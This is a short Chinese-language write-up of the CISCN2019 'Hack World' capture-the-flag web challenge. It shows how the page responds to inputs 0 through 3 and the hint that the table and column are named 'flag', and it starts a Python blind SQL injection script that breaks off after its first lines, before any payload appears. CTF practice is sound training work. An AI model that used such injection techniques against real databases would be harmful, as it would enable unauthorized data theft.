[CISCN2019 华北赛区 Day2 Web1] web题-Hack World

复现环境:buuoj.cn

输入0：Error Occured When Fetch Result.
输入1：Hello, glzjin wants a girlfriend.
输入2：Do you want to be my girlfriend?
输入3：Error Occured When Fetch Result.

题目提示信息说表名和字段名都是flag，给出id就能得到flag

脚本如下

import requests
import time
import re
url=''
flag = ''
for i in range(1,